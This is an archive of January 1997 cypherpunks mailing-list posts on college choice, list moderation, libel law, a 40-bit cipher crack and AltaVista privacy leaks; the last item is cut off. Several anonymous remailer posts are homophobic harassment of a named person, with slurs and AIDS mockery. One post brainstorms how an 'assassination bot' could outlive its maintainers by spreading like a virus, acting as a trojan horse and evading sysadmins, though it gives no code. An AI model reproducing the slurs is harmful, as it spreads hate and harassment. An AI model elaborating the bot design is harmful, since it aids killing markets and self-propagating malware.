> 
> > On Mon, 27 Jan 1997, SpyKing wrote:
> > 
> This is really exagerating.  You do not need a 4.0, 1600, etc. to be
> admitted to MIT.  Sure, you need good grades, but a 3.6 average and
> 1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
> can think of being admitted with even lower scores, if you stand out
> in some way.  MIT admissions looks for well-rounded students.  You're
> much better off being a writer/artist/musician than being on the
> science or math teams.
> 

Hmm....  Then a have a lieing blah blah blah of a counselor >)  hehe  I
applied for MIT, and even had an interview..  Then dropped my application
after getting chewed out by my counselor, and having had her refuse to
fill out anything on my second part of the application that said
specifically "COUNSELOR ONLY"  went to the principal and he refused..
Filled it out myself, and since it didn't have the counselors signature ...
I dropped it aka they dropped me but its easier to say it hteo ther way
around.  And yes I understand the well-rounded thing..  But then again you
hav eto consider that the average student at MIT has applied at least two
times.  I know that one for a fact from some program or something I read
that MIT puts out.

> > what he wants to be before he goes to some major college such as MIT,
> > because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> > a hell of a lot, but then again *shrug*...  I recommend going to a local
> 
> It may be alot, but then again MIT is one of the best schools in the
> world (I'm not going to be egotistical enough to say it *is* the best,
> even tho Consumer Reports rated it such for the last N years).

True, it is one of the best, can't argue against that..  But there are
others that are better in certain areas..  from my knowledge MIT expresses
more in its engineering departments than anything else though..  Although
I do know a very philosophical physics professor there so *shrug*..  maybe
I'll apply again some day..  And yes all the rest of my requirements wher
ehigh..  I am a swimteam captain, first trombone in my school, for
marching jazz pep and symphonic bands..  I'm also the lead french horn..
Then I have the little side things such as Chess team captain..  and have
tha precious 3.6 GPA the only proglem with it is I ahve one teacher that
gave me a D in my freshman year, so I can't get into honor society ..  go
figure...  But hey such is life..  I'm planning on reapplying after I get
into college and raise myself back to a 4 point so who knows what will
happen..

> 
> This is untrue.  The computer science department at MIT is really
> good.  As are the sciences, and even business!  The MIT Sloan School
> (Management and Economics) was rated #1 last year.  The EECS
> department (EE and CS are together) is top notch, too.

Really good yes..  Not necessarily the best though..   Check everywhere..
each aspect of every college may have one thing that he is specifically
interested in that would be better than going to MIT or some other such
place3...  

> 
> Ciro Maria <cmaria@stevens-tech.edu> writes:
> 
> > Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> > Caltech is good, I don't really know which else.
> 
> When I looked at Caltech, their Engineering (and computer science)
> really lacked.  They were excellent for the Sciences (Math, Physics,
> Chemistry, etc.) but their engineering school wasn't as good as others
> I was looking at (both EE and CS).  Things may have changed in the
> last 8 years, however.

*nod*  I do agree with that...  THey are pretty much the same now..

> 
> 
> Spyking, my advise to you: Look around at many schools.  Go visit
> them.  Talk to the students there.  Talk to the professors.  Talk to
> graduates.  The more information you and your son have, the better
> decisions you and he can make.
> 
> Personally, I loved MIT -- it was the right place for me.  It isn't
> the right place for everyone.  Make sure it is the right place for
> your son before he applies.  For what it's worth, I wanted to go to
> MIT my sophomore year in high school, too ;)


I havet o ask, did you make it in on your first apply to it?

and please forgive the mistypes in this..  I'm really lagged for some
reason..  And well, It takes forever to go back when it is lagged this
bd, so I ahven't can back and changed things automatically like I usually
do...

> 
Thanks,

Erp






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@nowhere.com
Date: Tue, 28 Jan 1997 15:14:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: can Sun Tzu be a cypherpunks?
Message-ID: <199701282258.OAA28486@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Quotations from the Art Of War by Sun Tzu

A Military operation involves deception. Even though you are competent,
appear to be incompetent. Though effective, appear to be ineffective.

Draw them in with the prospect of gain, take them  by confusion.

Use humility to make them haughty. Tire them by flight. Cause division
among them. Attack when they are  unprepared, make your move when they
do not expect it.

The formation and procedure used by the military should not be divulged
beforehand.

Comment: He seems to be advocating security through obscurity here.

The one who figures on victory at headquarters before even doing battle
is the one who has the most strategic factors on his side. The one who
figures on inability  to prevail at headquarters before doing battle is
the  one who has the least strategic factors on his side. The one with
many strategic factors in his favor wins, the one with few strategic
factors in his favor loses--how much more so for the one with no
strategic factors in his favor. Observing the matter this way, I can see
who will win and who will lose.

The superior militarist strikes while schemes are being laid. The next
best is to attack alliances. The next best is to attack the army.

Invincibility is in oneself, vulnerability is in the opponent.

Therefore skilled warriors are able to be invincible, but they cannot
cause opponents to be vulnerable.

That is why it is said that victory can be discerned but not
manufactured.

Invincibility is a matter of defense, vulnerability is a matter of
attack.

Therefore the victories of good warriors are not noted for cleverness or
bravery. Therefore their victories in battle  are not flukes. Their
victories are not flukes because they position themselves where they
will surely win, prevailing over those who have already lost.

So it is that good warriors take their stand on ground where they cannot
lose, and do not overlook conditions  that make an opponent prone to
defeat.

Therefore a victorious army first wins and then seeks battle; a
defeated army first battles and then seeks  victory.

Those who use arms well cultivate the Way and keep the  rules. Thus they
can govern in such a way as to prevail over the corrupt.

Comment: Would it not be wonderful if we could prevail over the corrupt?

Making the armies able to take on opponents without being  defeated is a
matter of unorthodox and orthodox methods.

Therefore those skilled at the unorthodox are infinite as heaven and
earth, inexhaustible as the great rivers. When they come to an end, they
begin again, like the  days and months; they die and are reborn, like
the four seasons.

The unorthodox and the orthodox give rise to each other, like a
beginningless circle--who could exhaust them?

Disorder arises from order, cowardice arises from courage, weakness
arises from strength.

Therefore those who skillfully move opponents make  formations that the
opponents are sure to follow, give what opponents are sure to take. They
move opponents with the prospect of gain, waiting for them in ambush.

To unfailingly take what you attack, attack where  there is no defense.
For unfailingly secure  defense, defend where there is no attack.

So in the case of those who are skilled in attack, their opponents do
not know where to defend. In the case of those skilled in defense, their
opponents do not know where to attack.

Be extremely subtle, even to the point of formlessness. Be extremely
mysterious, even to the point of soundlessness. Thereby you can be the
director of the opponent's fate.

Comment: Are cypherpunks capable of this?

To advance irresistibly, push through their gaps, to retreat elusively,
outspeed them.

Induce them to adopt specific formations, in order to  know the ground
of death and life.

Comment: Sounds like known plaintext attack to me.

Therefore the consummation of forming an army is to arrive at
formlessness. When you have no form, undercover espionage cannot find
out anything, intelligence cannot form a strategy.

Comment: Sun Tzu seems to being saying that if your cipher is properly
designed, you need not rely on security through obscurity.

Victory over multitudes by means of formation is unknowable to the
multitudes. Everyone knows the form by which I am victorious, but no one
knows the form by which  I ensure victory.

Military formation is like water--the form of water is to  avoid the
high and go to the low, the form of a military  force is to avoid the
full and attack the empty; the flow  of water is determined by the
earth, the victory of a military force is determined by the opponent.

So a military force has not constant formation, water has no constant
shape;the ability to gain victory by changing and adapting according to
the opponent is called genius.

Foreknowledge cannot be gotten from ghosts and spirits, cannot be had by
analogy, cannot be found out by  calculation. It must be obtained from
people, people know the conditions of the enemy.
   There are five kinds of spy: The local spy, the inside spy, the
reverse spy, the dead spy, and the living spy. When the five kinds of
spies are all active,  no one knows their routes--this is called 
organizational genius, and is valuable to the leadership.
    Local spies are hired from among the people of a locality; Inside
spies are hired from among enemy  officials. Reverse spies are hired
from enemy spies. Dead spies transmit false intelligence to enemy spies.
Living spies come back to report.

Question: Can cypherpunks use these methods to defeat those
who would take our freedom?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 28 Jan 1997 15:22:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: c2 internet accounts
Message-ID: <199701282321.PAA00678@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


does c2net still offer internet accounts? I liked their
offer for internet accounts with a 5 mb web site via
telnet. does anyone else know of a place for cheap
telnet only accounts?

thanks;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:22:49 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Best Computer School?
Message-ID: <01BC0D37.DDC6B1C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Erp <erp@digiforest.com> wrote in article <5cjlg0$2ij@life.ai.mit.edu>...
> 
> 
> 
> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at
> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years. 

Actually MIT does not take notice of SATs, GSATs and other IQ nonsense.
Basically the tests are meaningless at the upper end of the scale which
is where most MIT students would score and a low score does not in itself
demonstate stupidity. 

If he can get in then its difficult to imagine a better school for crypto in the
US. There is a finacial support program and admission is "needs blind" so 
that grants are matched according to need.

> I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer
> Sciences falls under..  Another good school from what I've heard is UCLA..
> then again you can discredit anything I've said, because I'm still a
> HighSchool senior myself and have been looking into Computer Criminology
> for the last three years, and I'm positive it is what i want so *shrug*..

Actually there is a reasonable school for philosophy just up the 
road but its not so good for computer science (it did produce Bill 
Gates.) The AI lab does have a number of people who lean quite
heavilly to the philosophy side.

	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 16:26:36 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: c2 internet accounts
In-Reply-To: <199701282321.PAA00678@netcom15.netcom.com>
Message-ID: <Pine.SUN.3.91.970128161842.10400E-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:

> does c2net still offer internet accounts? I liked their
> offer for internet accounts with a 5 mb web site via
> telnet. does anyone else know of a place for cheap
> telnet only accounts?

C2Net no longer offers new shell accounts and we are phasing out
pre-existing accounts.  We still offer virtual web hosting.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:44:59 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970128100213.23979B-100000@crl.crl.com>
Message-ID: <Pine.SOL.3.93.970128163532.8014A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Mon, 27 Jan 1997 paul@fatmans.demon.co.uk wrote:
> 
> > The list has been disentigrating for some time since the disgusting 
> > incident when Dimitri was forcibly unsubscribed from the list. 
> 
> I'm curious about the gratuitous use of the word "forcibly" by
> Paul.  Does this mean Gilmore took a fire axe to the computer or
> something?  Dimitri was unsubscribed.  It was done more or less
> against his will.  ("More or less" because he in effect said to
> John, "bet you can't stop me.")  What does "forcibly" add to this
> discussion besides melodrama?  No force was required.  John had
> the right and ability to pull the plug on Dimitri.  "No animals
> were harmed in the making of this film."  "Force," my ass.
> 
	You are disgusting cindy.

> > have also been a number of postings from members of the list claiming 
> > to understand anarchism who support censorship to "protect new 
> > members of the list".
> 
> There are various definitions of "censorship" and various flavors
> of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
> to believe that any form of moderation is censorship.  I think
> that enforcing standards of decorum on a private, voluntary list
> are not censorship.  Reasonable minds may differ.  I acknowledge 

	Yes REASONABLE minds do differ from yours...

> that Paul's interpretations are not without some justification.
> (I just think they are incorrect in the instant case.)  Paul, on
> the other hand, seems to be a True Believer.  He brooks no view
> other than his own.  (Curiously hypocritical under the 
> circumstrances.)
>  
> > So, there would be no intellectual dishonesty in a country claiming 
> > to be a free and open society "trying out" fascism for a month or 
> > two? - After all it`s a private country just as this is a private 
> > list....
> 
> Paul's sophistry is showing.  Nation-states are entities that
> exercise a monopoly on the use of force (real force, Paul)
> within (and often without) their boundries.  Mail lists are far
> more like private homes, businesses or clubs.  When you are a
> guest there, you are subject to their rules of behavior.

	If it is so private, why does deja news have it
	when 'mail.cypherpunks' is searched???
	
> > There is a clear trend easily observable on the list whereby certain 
> > members postings are censored when their content is of a standard 
> > that, if the moderation were objective and based on content alone, 
> > would warrant their being sent to the censored list.
> 
> Several substantive examples, please.  True, nothing Bill Stewart
> has posted has been sent to CP-Flames.  One guess why.  Numerous
> posts by Dimitri have been posted to CP-Moderated, but many more
> have not made the cut.  There are much more obvious reasons for
> this than Paul's biased analysis.
>  
> > I can tell you one other thing for sure, even if the moderation 
> > "experiment" were to end in a month as a last ditch attempt by John 
> > Gilmore and Sandy Sandfort to recover some of their lost credibility 
> > it would be a vain and entirely unsuccesful attempt.
> 
> YMMV.
> 
> 
>  S a n d y
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Tue, 28 Jan 1997 16:46:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <9701290046.AA10604@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



harka@nycmetro.com writes:
>does anybody know any contact points/Web pages, where I might get
>some information on e-mail filtering via trigger-words? I am
>interested in how this technology specifically works and a
>acollection of trigger-words would be nice too :)

You might start with the Mail Filtering FAQ:

http://www.cis.ohio-state.edu/hypertext/faq/usenet/mail/filtering-faq/faq.html

It's pretty Unix-specific, covering procmail, Elm filter, and mailagent.
For PC-based mailers, you're probably better off checking the documentation
and/or the web page for the one you're using.  Finally, take a look at the
comp.mail.* newsgroups.

Or just use the search engines, throwing in combinations of the above terms...

--
Martin Janzen           janzen@idacom.hp.com
Pegasus Systems Group   c/o Hewlett-Packard Company, CMD Vancouver




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 16:51:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEB502.4813@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:

> Question: Can cypherpunks use these methods to defeat those
> who would take our freedom?

WARNING! "The Xenix Chainsaw Massacre" Is A Very Dangerous Document
-------------------------------------------------------------------
	
  It is reputed among many of the top minds in the Computer Industry 
to be a very real, and revealing, documentary of some of the horrors 
of the Industry which are sometimes rumored, but seldom exposed.  
But be warned-they say it in private, not in public.
  Though management at the major Corporations in the Industry brush 
aside the document as the mad ramblings of an unstable, failed 
business executive, the fact remains that there are more and more 
people coming forward who claim to have suffered demotions or loss 
of employment after deliberately or inadvertently revealing their 
support of the document's claims and it's authenticity.

  If you choose to read this manuscript, do not speak of it in casual
conversation at your place of employment, or around strangers in 
any business or social environment.  Though it is almost impossible 
to document cases of reprisal of this nature, the increasing numbers 
of ex-employees of major Corporations in the Computer Industry 
making these claims, and the devastating consequences they allege 
to their professional and private lives, make it wise to be discreet 
in expressing any opinion, or even knowledge, of this document.
  If you choose to share this document with others, it would be wise 
to do so discreetly, even anonymously, should you be unsure of the 
reliability and discretion of whomever you choose to share this 
knowledge with.

  Though I personally lean toward viewing the manuscript as authentic, 
my exhaustive research into it's origin has always come to a dead-end, 
even among the principals involved.
  C.J. Parker, former President of Pearl Harbor Computers, Inc., denied
emphatically, in a face-to-face encounter with  anything whatsoever to 
do with the document.  When I pressed him with questions regarding 
the hasty demise of his business and the unraveling of his personal 
life after the public circulation of "The Xenix Chainsaw Massacre" 
began, he became very agitated and distraught, bordering on violence, 
and the interview was abruptly terminated.
  Dr. William M. Denney, one of the few principals in the manuscript 
referred to directly, was reluctant to be interviewed, but eventually 
made a few comments which I found to be very revealing.  Dr. Denney, 
Vice-President of Basis, Inc. in Emmeryville, Ca., consistently rated 
as one of the top ten Unix Open Systems vendors in the world, said, 
"I deny any knowledge of or participation, in any way whatsoever, 
with anything connected to 'The Xenix Chainsaw Massacre', and it 
would be wise for others to do the same."
  I find this statement to be very cryptic and, at the same time, 
very revealing; very much in line with what would expect from one 
associated with the alleged underground computer society described 
in the manuscript.
  As for Mr. Torry Basford, a former employee of Bell Labs who was 
Mr. Parker's first mentor in the world of Unix and is rumored to be 
laboring in obscurity in a small community college somewhere in the 
southwestern U.S., Mr. Parker would only say, "The man has suffered 
enough, please leave him alone."

 Regardless of the origins or authenticity of the document, it is 
considered by many to be extremely unsettling, perhaps even 
dangerous, and one might be better served to avoid reading the 
manuscript, if for no other reason than simple peace of mind.

___________________________________

 If you would like a copy of the manuscript,
send me a private email indicating a  desire
to receive it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 16:32:14 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
In-Reply-To: <199701282114.NAA02411@toad.com>
Message-ID: <199701290028.SAA00380@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


harka@nycmetro.com wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi there,
> 
> does anybody know any contact points/Web pages, where I might get
> some information on e-mail filtering via trigger-words? I am
> interested in how this technology specifically works and a
> collection of trigger-words would be nice too :)

Look at http://www.algebra.com/~ichudov/usenet/scrm/robomod/robomod.html,
and look for the explanation of how bad.words.list works in my 
robomoderator.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Neil Rogers" <tremle@connect-wales.co.uk>
Date: Tue, 28 Jan 1997 13:05:11 -0800 (PST)
To: "Access All Areas" <cypherpunks@toad.com>
Subject: .hlp creation
Message-ID: <199701281924.TAA06759@storm.connect-wales.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Howdi all, how are you,
Can someone please help me, Can someone create a Windows 3.1 .hlp file fro
me, when opened has a link to FILE MANAGER - U:\W31\winfile.exe
Please, I have tried but can't do one, I would be really gratefull if
someone could help!
Thanks in advance,
Neil
..............




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 16:53:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy Tzu
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEBB9C.46C3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:
 
 > Therefore those who skillfully move opponents make  formations that
the
 > opponents are sure to follow, give what opponents are sure to take.
They
 > move opponents with the prospect of gain, waiting for them in ambush.
 
   Like skillfully moving the CypherPunks subscribers onto a different
 list than the one they subscribed to? Knowing that most subscribers
 would 'take' whatever was spoon-fed to them?
   I have the utmost respect for John's skill in manipulating the
 majority of CypherPunks subscribers into a pen from which they
 can leisurely munch on the fodder that Sandy throws over the fence
 to them. I am sure that they will grow 'fat' on the condensed
 crypto-food that is provided for them, especially since they
 will not have to move about in order to graze among all of the
 postings.
   But I am reminded of a Sunday-school teacher who told her class
 the story of the Prodigal Son, and afterwards asked one of the
 children, "Who was not happy to see the Prodigal Son return home?"
   He replied, "The fatted calf."
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 19:04:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] FBI at it again
Message-ID: <199701290303.TAA18661@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Drunken Virus wears satin lingerie embroidered with pink
swastikas, prancing around for his homosexual, AIDS infected
lovers.

          ___
        {~._.~}
         ( Y ) Dr.Drunken Virus
        ()~*~()
        (_)-(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 20:05:44 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701282359.PAA19881@cypherpunks.ca>
Message-ID: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Yee-hah!  Congratulations (and enjoy the $1000 check!)
So what did you do interesting cryptographically in the crack, 
other than coordinating a bunch of workstations?
Was it just brute force with well-tuned code?
Given the figures in your press release, it sounds like you
tested about 350 billion keys out of a trillion possible,
so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
Are the machines mostly Pentiums, Alphas, Suns, etc.?

At 03:59 PM 1/28/97 -0800, Ian Goldberg <iang@cs.berkeley.edu> wrote:
>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
>
>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
>announced today that he had successfully cracked RSA Data Security 
>Inc.'s 40-bit challenge cipher in just under 3.5 hours.
....
>Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
>to harness the computational resources of about 250 idle machines.  
>This allowed him to test 100 billion possible "keys" per hour -- 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 19:10:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: He's back
Message-ID: <199701290308.TAA20105@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell Virus K]retin[ Of The Moment enjoys sucking the puss
from his syphilitic queer friends.

   ,_,
*-._W_,-* Dr.Dumbbell Virus K]retin[ Of The Moment
 `-;-;-'
   " "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 17:14:59 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701282211.OAA04598@toad.com>
Message-ID: <199701290111.TAA00779@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Phillip M. Hallam-Baker wrote:
> 
> 
> 
> jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
> 
> > Look, I've proposed what I consider to be a remarkably consistent method to 
> > prevent the kind of political tyranny that you criticize, and I don't see 
> > any recognition of this fact.  
> 
> Thats because its a whacko solution that has no credibility
> or consistency. 
> 
> If anyone tried to set up such a market and a price went out
> on any of the heads of state fantasized about Mr Bell would be 
> dead as a doornail in a week.

But, if Jim writes the bot well, puts it in an unknown place (remember,
all communications are done through remailers), he could die, but the
assassination bot would still work.

It may be an interesting problem: what steps are necessary to take to 
provide for the bot maintainers' sudden death in such a way that the bot
would survive for a long time (at least 10 years) w/o any maintenance?

Several things need to be done, such as running several versions of the
bot so that they could all communicate and work as hot standbys in case
one of the instances stops communicating; change their anonymous address
from time to time to deal with shut down remailers; probably slowly 
propagate as virii, so that killing them all would be hard; what else?

It could be done akin to Thompson's famous backdoor in /bin/login, as
a perpetual trojan horse.

How to prevent the bot's detection by sysadmins?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 28 Jan 1997 16:33:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCE] PGP Signatures
Message-ID: <199701290032.QAA16759@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dinghy Vindictive K[ondom]OfTheMinute died of AIDS last night
with his queer lover.

       _  O     O  _
        \-|-\_/-|-/  Dinghy Vindictive K[ondom]OfTheMinute
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Tue, 28 Jan 1997 16:37:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Genetic Algorithms
Message-ID: <199701290036.QAA17853@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



What a joy to make a public mockery of Dr.Defecated L>eech<
Vicious!

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Dr.Defecated L>eech< Vicious
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 28 Jan 1997 19:44:45 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701290344.TAA03473@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:33 AM 1/28/97 -0500, aga wrote:
>On Mon, 27 Jan 1997, jim bell wrote:
>
>> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>> >These postings do not prove that libel is a crime. It is because libel
>> >is not a crime. Libel is a tort, and unlike with crime, the government
>> >cannot initiate a legal action against someone for libel. Only injured
>> >(libeled) individuals and not the government can sue in a libel case.
>> 
>> On the contrary, in some jurisdictions libel is indeed a crime. However, 
>> that doesn't mean that prosecutions happen anymore, but the laws are (in 
>> some places) still  on the books.

>
>Jim, either you are full of shit or that Law is VERY
>unconstitutional.  The first amendment prohibits any Criminal Laws
>from being made against libel.

You'd think that, wouldn't you?  Yes, I agree that those laws are 
unconstitutional, but so is about 90+% of what the Federal government does 
today.  Sigh.

Criminal libel statutes are apparently (in the US, at least) a holdover from 
an earlier era in which government took the place of King George, and wanted 
the power to punish people who were too outspoken.  The fact that they are 
"never" (?) used anymore is presumably a reflection of their 
unconstitutionality.  Criminal libel statues should also be considered 
unconstitutional because they give way too much leeway to the prosecutor to 
decide whom to prosecute.  His friends will never be charged, but his 
enemies will.

One obvious problem with the LACK of a criminal libel statute, from the 
standpoint of the "government-controlling-class," or "the bigshots," is that 
it's impossible to sue (and collect from) a (comparatively) poor person for 
defaming him...but it's still possible to put him in jail.  Civil libel is, 
therefore, essentially useless to a government agent as a means of keeping 
the masses in line.  


Myself, I believe that libel should be eliminated as a cause of action in 
civil cases as well as it has, de facto, in the criminal area.  If anything, 
the ability to sue for libel makes things worse:  There is an illusion that 
this is easy and straightforward, if not economical.  It is neither.  The 
result is that people are actually MORE likely to believe a printed 
falsehood because they incorrectly assume that if it wasn't true, it 
couldn't be printed.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 28 Jan 1997 16:59:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: AltaVista sprouts a hole ...
Message-ID: <v0300780baf1450361414@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 29 Jan 1997 08:07:27 +1000
From: Russell Stuart <R.Stuart@rsm.com.au>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: AltaVista sprouts a hole ...

From: risko@csl.sri.com (RISKS List Owner)
Newsgroups: comp.risks
Subject: RISKS DIGEST 18.77
Message-ID: <CMM.0.90.1.853810937.risko@chiron.csl.sri.com>

RISKS-LIST: Risks-Forum Digest  Monday 20 January 1997  Volume 18 :
Issue 77

   FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS
(comp.risks)
   ACM Committee on Computers and Public Policy, Peter G. Neumann,
moderator

***** See last item for further information, disclaimers, caveats, etc.
*****
<snip>
------------------------------

Date: Fri, 3 Jan 97 23:52:00 +0100
From: Anders Andersson  <andersa@Mizar.DoCS.UU.SE>
Subject: Leaking WWW surfer interest profiles

I notice that AltaVista's inline advertisements link to a server outside
Digital, "ad.doubleclick.net", and that the URL includes the user's list
of
keywords being searched.  I'm concerned that these URL's may
occasionally
leak information about the user's interests and inclinations to third
parties, information which the user may prefer to keep private.

This is not a new problem that appeared with the inline ads, since also
the
Referer: field of the HTTP protocol discloses to a target server exactly
what AltaVista index page led the user to it.  However, this requires
that
the user willfully follows that link.

If sensitive information being leaked via the Referer: field is a
problem,
the user may obtain client software that withholds Referer: data, either
conditionally or unconditionally.  Also, a user who has asked AltaVista
for
"gay" pages is probably not too concerned about accidentally disclosing
this
fact to the maintainer of said "gay" pages.

However, the doubleclick.net ads appear to bear no relationship to the
keywords being searched, and they appear not only in the URL for the
hyperlink to follow, but also in the IMG SRC URL.  This means that in
order
